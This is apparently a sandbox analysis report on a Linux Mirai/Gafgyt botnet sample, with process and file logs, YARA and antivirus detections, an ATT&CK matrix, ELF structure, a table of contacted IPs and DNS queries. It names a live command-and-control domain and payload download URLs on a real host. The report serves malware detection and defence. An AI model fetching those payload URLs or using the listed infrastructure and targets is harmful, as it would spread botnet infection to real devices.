Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6238/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6237/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/6239/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/8uGjvDZ9vr.elf (PID: 6211)	File opened: /proc/1599/cmdline	Jump to behavior

Source: 8uGjvDZ9vr.elf, 6207.1.00007fff4f92a000.00007fff4f94b000.rw-.sdmp, 8uGjvDZ9vr.elf, 6215.1.00007fff4f92a000.00007fff4f94b000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/8uGjvDZ9vr.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/8uGjvDZ9vr.elf
Source: 8uGjvDZ9vr.elf, 6207.1.00007fff4f92a000.00007fff4f94b000.rw-.sdmp, 8uGjvDZ9vr.elf, 6215.1.00007fff4f92a000.00007fff4f94b000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: 8uGjvDZ9vr.elf, 6207.1.000055efa1ba9000.000055efa1c0c000.rw-.sdmp, 8uGjvDZ9vr.elf, 6215.1.000055efa1ba9000.000055efa1c0c000.rw-.sdmp	Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: 8uGjvDZ9vr.elf, 6207.1.000055efa1ba9000.000055efa1c0c000.rw-.sdmp, 8uGjvDZ9vr.elf, 6215.1.000055efa1ba9000.000055efa1c0c000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4
Source: 8uGjvDZ9vr.elf, 6215.1.00007fff4f92a000.00007fff4f94b000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Source: Yara match	File source: 8uGjvDZ9vr.elf, type: SAMPLE
Source: Yara match	File source: 6215.1.00007fa374400000.00007fa37441d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6207.1.00007fa374400000.00007fa37441d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8uGjvDZ9vr.elf PID: 6207, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8uGjvDZ9vr.elf PID: 6215, type: MEMORYSTR

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	1 Scripting	Path Interception	Path Interception	1 Scripting	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	4 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Scheduled Transfer	2 Ingress Tool Transfer			Data Encrypted for Impact	Server	Gather Victim Network Information

Source: 8uGjvDZ9vr.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6215.1.00007fa374400000.00007fa37441d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6207.1.00007fa374400000.00007fa37441d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: 8uGjvDZ9vr.elf PID: 6207, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: 8uGjvDZ9vr.elf PID: 6215, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source	Detection	Scanner	Label	Link
8uGjvDZ9vr.elf	51%	ReversingLabs	Linux.Trojan.Mirai
8uGjvDZ9vr.elf	58%	Virustotal		Browse
8uGjvDZ9vr.elf	100%	Avira	EXP/ELF.Mirai.Gen.Z.A

Source	Detection	Scanner	Label	Link
http://103.245.236.109/skyljne.mpsl;	0%	Avira URL Cloud	safe
http://103.245.236.109/skyljne.arm7$	0%	Avira URL Cloud	safe

IP	Domain	Country	ASN	ASN Name	Malicious
61.174.249.52	unknown	China	136190	CHINATELECOM-ZHEJIANG-JINHUA-IDCJINHUAZHEJIANGProvince	false
197.60.6.71	unknown	Egypt	8452	TE-ASTE-ASEG	false
35.38.130.225	unknown	United States	36375	UMICH-AS-5US	false
157.95.204.145	unknown	United States	29700	CYPRESS-SEMICONDUCTORUS	false
211.26.201.129	unknown	Australia	9443	VOCUS-RETAIL-AUVocusRetailAU	false
108.127.33.54	unknown	United States	10507	SPCSUS	false
156.10.149.104	unknown	Finland	39098	BOF-ASFI	false
202.173.202.45	unknown	Australia	9648	ASN-OZONLINE-AUAS-OZONLINE-AUCONVERTEDTOASN-OZONLINE-A	false
184.70.237.22	unknown	Canada	6327	SHAWCA	false
220.228.118.81	unknown	Taiwan; Republic of China (ROC)	9919	NCIC-TWNewCenturyInfoCommTechCoLtdTW	false
197.60.132.57	unknown	Egypt	8452	TE-ASTE-ASEG	false
49.142.204.91	unknown	Korea Republic of	9319	HCNCHUNGJU-AS-KRHCNCHUNGBUKCABLETVSYSTEMSKR	false
59.142.206.32	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
137.43.7.9	unknown	Ireland	2850	UNIVERSITY-COLLEGE-DUBLINIE	false
128.8.33.172	unknown	United States	27	UMDNETUS	false
221.252.22.30	unknown	Japan	17506	UCOMARTERIANetworksCorporationJP	false
149.113.146.45	unknown	United States	174	COGENT-174US	false
211.242.242.77	unknown	Korea Republic of	9457	DREAMX-ASDREAMLINECOKR	false
182.206.133.255	unknown	China	17799	CHINATELECOM-LN-AS-APasnforLiaoningProvincialNetofCT	false
182.150.131.194	unknown	China	38283	CHINANET-SCIDC-AS-APCHINANETSiChuanTelecomInternetData	false
202.15.27.47	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
142.224.46.86	unknown	Canada	13576	SDNW-13576US	false
175.35.223.2	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
197.118.80.108	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.54.12.245	unknown	South Africa	37168	CELL-CZA	false
94.179.183.196	unknown	Ukraine	6849	UKRTELNETUA	false
170.29.253.238	unknown	United States	33551	SISTERS-OF-MERCY-HEALTH-SYSTEMUS	false
103.223.165.43	unknown	China	135445	IDNIC-AIRPAY-AS-IDPTAirpayInternationalIndonesiaID	false
211.241.253.143	unknown	Korea Republic of	38661	HCLC-AS-KRpurplestonesKR	false
197.14.208.241	unknown	Tunisia	37703	ATLAXTN	false
61.67.196.183	unknown	Taiwan; Republic of China (ROC)	18042	KBTKoosBroadbandTelecomTW	false
157.100.176.9	unknown	Ecuador	27947	TelconetSAEC	false
220.221.242.98	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
79.108.2.142	unknown	Spain	12357	COMUNITELSPAINES	false
202.54.109.239	unknown	India	4755	TATACOMM-ASTATACommunicationsformerlyVSNLisLeadingISP	false
197.123.112.70	unknown	Egypt	36992	ETISALAT-MISREG	false
157.21.250.126	unknown	United States	53446	EVMSUS	false
19.209.101.6	unknown	United States	3	MIT-GATEWAYSUS	false
146.187.66.184	unknown	United States	3935	EASTWAUNIVUS	false
49.165.157.79	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
61.131.31.74	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
197.172.190.113	unknown	South Africa	37168	CELL-CZA	false
223.182.54.188	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
41.114.147.160	unknown	South Africa	16637	MTNNS-ASZA	false
182.50.22.56	unknown	Korea Republic of	9973	BSITC-AS-KRBSITCKR	false
157.139.31.140	unknown	United States	20252	JSIWMCUS	false
159.178.244.79	unknown	United States	6356	NERDCNETUS	false
182.104.143.188	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
65.113.106.80	unknown	United States	14434	VIPNAS1VI	false
61.135.140.133	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
182.109.140.196	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
184.155.224.92	unknown	United States	11492	CABLEONEUS	false
105.133.15.2	unknown	Morocco	6713	IAM-ASMA	false
18.102.66.97	unknown	United States	3	MIT-GATEWAYSUS	false
60.160.248.81	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
182.86.109.146	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
211.79.201.100	unknown	Taiwan; Republic of China (ROC)	17420	ACCSI-TWAcerCyberCenterServicesIncTW	false
175.119.216.61	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
197.55.82.100	unknown	Egypt	8452	TE-ASTE-ASEG	false
202.120.60.114	unknown	China	24364	CNGI-SH-IX-AS-APCERNET2IXatShanghaiJiaotongUniversity	false
143.201.178.118	unknown	unknown	3128	BRUWS-AS3128US	false
39.212.30.247	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
124.221.38.207	unknown	China	45361	JCN-AS-KRUlsanJung-AngBroadcastingNetworkKR	false
197.221.56.211	unknown	South Africa	37153	xneeloZA	false
38.36.204.169	unknown	United States	174	COGENT-174US	false
197.73.132.125	unknown	South Africa	16637	MTNNS-ASZA	false
202.243.177.42	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
175.145.68.71	unknown	Malaysia	4788	TMNET-AS-APTMNetInternetServiceProviderMY	false
100.7.169.116	unknown	United States	701	UUNETUS	false
171.19.60.79	unknown	Hungary	3219	HU-GOVNETHungarianGovernmentalIPNetworkHU	false
182.12.155.108	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
197.76.213.147	unknown	South Africa	16637	MTNNS-ASZA	false
197.211.91.34	unknown	South Africa	29918	IMPOL-ASNZA	false
103.44.141.84	unknown	India	133713	SWIFTNETBROADBAND-ASSWIFTNETBROADBANDPRIVATELIMITEDIN	false
220.32.69.36	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
177.232.102.237	unknown	Mexico	13591	MexicoReddeTelecomunicacionesSdeRLdeCVMX	false
197.179.254.44	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
41.176.104.142	unknown	Egypt	36992	ETISALAT-MISREG	false
211.19.112.251	unknown	Japan	9595	XEPHIONNTT-MECorporationJP	false
135.76.111.101	unknown	United States	18676	AVAYAUS	false
49.104.192.143	unknown	Japan	9605	DOCOMONTTDOCOMOINCJP	false
217.25.51.186	unknown	Iran (ISLAMIC Republic Of)	29079	IRNA-ASIRANNewsAgencyIR	false
179.205.170.88	unknown	Brazil	26615	TIMSABR	false
125.97.149.247	unknown	China	9814	FIBRLINKBeijingFibrLINKNetworksCoLtdCN	false
197.19.129.114	unknown	Tunisia	37693	TUNISIANATN	false
59.92.78.109	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	false
41.94.138.73	unknown	Mozambique	327700	MoRENetMZ	false
183.106.193.193	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
64.104.199.219	unknown	United States	109	CISCOSYSTEMSUS	false
41.82.47.250	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false
41.57.121.217	unknown	Nigeria	37472	NIGCOMSATNG	false
197.194.23.186	unknown	Egypt	36992	ETISALAT-MISREG	false
46.66.136.109	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
8.124.12.112	unknown	United States	3356	LEVEL3US	false
203.207.123.40	unknown	China	17964	DXTNETBeijingDian-Xin-TongNetworkTechnologiesCoLtd	false
197.121.74.199	unknown	Egypt	36992	ETISALAT-MISREG	false
182.9.111.27	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
41.138.189.22	unknown	Nigeria	20598	CYBERSPACE-ASAutonomousSystemnumberforCyberSpaceIL	false
157.190.234.190	unknown	Ireland	1213	HEANETIE	false
103.163.1.64	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
184.70.237.22	zNWeFqvVyZ	Get hash	malicious	Mirai	Browse
197.60.6.71	arm7	Get hash	malicious	Mirai	Browse
221.252.22.30	psLQtVD9UZ.elf	Get hash	malicious	Mirai, Moobot	Browse
211.242.242.77	6JHI4jxLIH.elf	Get hash	malicious	Mirai	Browse
197.60.132.57	1K9kczvvnW.elf	Get hash	malicious	Mirai, Moobot	Browse
	fdf2SzzeIg.elf	Get hash	malicious	Mirai	Browse
	kSGjlIUJqo.elf	Get hash	malicious	Mirai, Moobot	Browse
	YNGJlsyCem	Get hash	malicious	Mirai	Browse
49.142.204.91	xMHzyOGmzU	Get hash	malicious	Mirai	Browse
202.173.202.45	3wDGYhaTqC	Get hash	malicious	Gafgyt Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bngoc.skyljne.click	skyljne.arm5.elf	Get hash	malicious	Mirai	Browse	103.245.236.109
	skyljne.x86.elf	Get hash	malicious	Mirai	Browse	103.245.236.109
	skyljne.arm7.elf	Get hash	malicious	Mirai	Browse	103.245.236.109
	skyljne.mpsl.elf	Get hash	malicious	Mirai	Browse	103.245.236.109
	skyljne.arm.elf	Get hash	malicious	Mirai	Browse	103.245.236.109
	skyljne.mips.elf	Get hash	malicious	Mirai	Browse	103.245.236.109
	skyljne.x86_64.elf	Get hash	malicious	Mirai	Browse	103.245.236.109
	f0LSiRhDq6.elf	Get hash	malicious	Mirai	Browse	103.178.235.29
	TD1WokqMcd.elf	Get hash	malicious	Mirai	Browse	103.178.235.29
	skyljne.mpsl.elf	Get hash	malicious	Mirai	Browse	103.178.235.29
	skyljne.arm.elf	Get hash	malicious	Mirai	Browse	103.178.235.29
	skyljne.arm5.elf	Get hash	malicious	Mirai	Browse	103.178.235.29
	skyljne.arm7.elf	Get hash	malicious	Mirai	Browse	103.178.235.29
	skyljne.mips.elf	Get hash	malicious	Mirai	Browse	103.178.235.29
	skyljne.x86.elf	Get hash	malicious	Mirai	Browse	103.178.235.29
	skyljne.mpsl-20240109-1651.elf	Get hash	malicious	Mirai	Browse	103.178.235.88
	skyljne.arm-20240109-1651.elf	Get hash	malicious	Mirai	Browse	103.178.235.88
	skyljne.mips-20240109-1651.elf	Get hash	malicious	Mirai	Browse	103.178.235.88
	skyljne.x86-20240109-1651.elf	Get hash	malicious	Mirai	Browse	103.178.235.88
	skyljne.arm7-20240109-1651.elf	Get hash	malicious	Mirai	Browse	103.178.235.88

Process:	/tmp/8uGjvDZ9vr.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.1219280948873624
Encrypted:	false
SSDEEP:	3:TgdZ3n:TgdZ3n
MD5:	30426DD3151DC1AA26484557D5FBBE5A
SHA1:	FB6388C79540D143D71CD93AF6407CFCE6FAE5B7
SHA-256:	E998A92CA3CA1F6964B129B1CA34B540F17F63395715A3EFB1D1B5E3C089D378
SHA-512:	10AFF761270FF6FE64407FA10EB2EA6B51649FB176B8B0FC60C82974848644BAD0D18490EAB3B96FDE4AD35231FB7849EC56A6A1DB5996AB15DF7F300F49F040
Malicious:	false
Reputation:	low
Preview:	/tmp/8uGjvDZ9vr.elf.

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.329914499754513
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	8uGjvDZ9vr.elf
File size:	137'824 bytes
MD5:	288cecba70aa50eb36637ff0035f7009
SHA1:	465572c96afd039c0bf68f5c7041e1676009a708
SHA256:	65d6c45c5597e86540162e9f0cdc3359e80f930c830eeea510b52d96173d88ea
SHA512:	142ab1a1257947d484bfb765fae3e9dc46b459280cd623dc2418078e062a2d4887e8ba2b31faee004c26fd0b4edf3a7d14ed90448cd636f4c76ebde9ab555bdd
SSDEEP:	1536:Qaz7vLJyZANNZ2MWjRg/QBngnUPCqKDcSMdYci7jYJWjGHtvsfOO1Il1dh3esq:Qg1ySvcaUPkDbciYJWSHtCOgIDe9
TLSH:	E6D36C72DC296F58C251D174B0318F7D2B63B69142475FBA2AB6C2B94087CCEFA057B8
File Content Preview:	.ELF.....................@.4...........4. ...(...............@...@...........................B...B..Q..............Q.td............................././"O.n........#.@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	137384
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0x184c0	0x0	0x6	AX	32
.fini	PROGBITS	0x4185a0	0x185a0	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x4185c4	0x185c4	0x40cc	0x0	0x2	A	4
.ctors	PROGBITS	0x42c694	0x1c694	0xc	0x0	0x3	WA	4
.dtors	PROGBITS	0x42c6a0	0x1c6a0	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x42c6c0	0x1c6c0	0x5190	0x0	0x3	WA	32
.got	PROGBITS	0x431850	0x21850	0x14	0x4	0x3	WA	4
.bss	NOBITS	0x431864	0x21864	0x4618	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x21864	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x1c690	0x1c690	6.9074	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x1c694	0x42c694	0x42c694	0x51d0	0x97e8	1.0903	0x6	RW	0x10000	.ctors .dtors .data .got .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report 8uGjvDZ9vr.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.03JVgQ (deleted)

/tmp/qemu-open.04oNjQ (deleted)

/tmp/qemu-open.0DOq1O (deleted)

/tmp/qemu-open.0GyOwQ (deleted)

/tmp/qemu-open.0HjWiS (deleted)

/tmp/qemu-open.0KzOSR (deleted)

/tmp/qemu-open.0MQKRP (deleted)

/tmp/qemu-open.0VRSgQ (deleted)

/tmp/qemu-open.0WWoxS (deleted)

/tmp/qemu-open.0Xw6ZR (deleted)

/tmp/qemu-open.0c4ClR (deleted)

/tmp/qemu-open.0d6zpR (deleted)

/tmp/qemu-open.0hJjDR (deleted)

/tmp/qemu-open.0iYAYR (deleted)

/tmp/qemu-open.0phUAS (deleted)

/tmp/qemu-open.0rCs5O (deleted)

/tmp/qemu-open.0yksyQ (deleted)

/tmp/qemu-open.0zevzQ (deleted)

/tmp/qemu-open.15RxTO (deleted)

/tmp/qemu-open.16OqvR (deleted)

/tmp/qemu-open.18o5mO (deleted)

/tmp/qemu-open.1A8paQ (deleted)

/tmp/qemu-open.1DV16R (deleted)

/tmp/qemu-open.1HY3oR (deleted)

/tmp/qemu-open.1LSYAO (deleted)

/tmp/qemu-open.1LXvLS (deleted)

/tmp/qemu-open.1RPZCR (deleted)

Linux Analysis Report
8uGjvDZ9vr.elf

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2024 14:35:53.898636103 CET	192.168.2.23	8.8.8.8	0xde27	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:35:58.902028084 CET	192.168.2.23	8.8.8.8	0xde27	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:36:08.790904045 CET	192.168.2.23	8.8.8.8	0xde38	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:36:10.652925968 CET	192.168.2.23	8.8.8.8	0xef48	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:36:15.473004103 CET	192.168.2.23	8.8.8.8	0x3691	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:36:23.289690971 CET	192.168.2.23	8.8.8.8	0x74d1	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:36:30.152096987 CET	192.168.2.23	8.8.8.8	0x78d8	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:36:33.008624077 CET	192.168.2.23	8.8.8.8	0x10bb	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:36:43.872013092 CET	192.168.2.23	8.8.8.8	0x10e6	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:36:49.736912966 CET	192.168.2.23	8.8.8.8	0x37e3	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:36:58.608899117 CET	192.168.2.23	8.8.8.8	0x55d3	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:37:03.482511044 CET	192.168.2.23	8.8.8.8	0x4b56	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:37:13.359302998 CET	192.168.2.23	8.8.8.8	0x9e8f	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:37:22.228796005 CET	192.168.2.23	8.8.8.8	0x1094	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:37:25.065877914 CET	192.168.2.23	8.8.8.8	0xc40b	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:37:29.936705112 CET	192.168.2.23	8.8.8.8	0xdb31	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:37:34.940243006 CET	192.168.2.23	8.8.8.8	0xdb31	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:37:39.943489075 CET	192.168.2.23	8.8.8.8	0xdb31	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:37:44.946886063 CET	192.168.2.23	8.8.8.8	0xdb31	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 11, 2024 14:37:49.950104952 CET	192.168.2.23	8.8.8.8	0xdb31	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 11, 2024 14:35:59.006095886 CET	8.8.8.8	192.168.2.23	0xde27	No error (0)	bngoc.skyljne.click	103.245.236.109	A (IP address)	IN (0x0001)	false
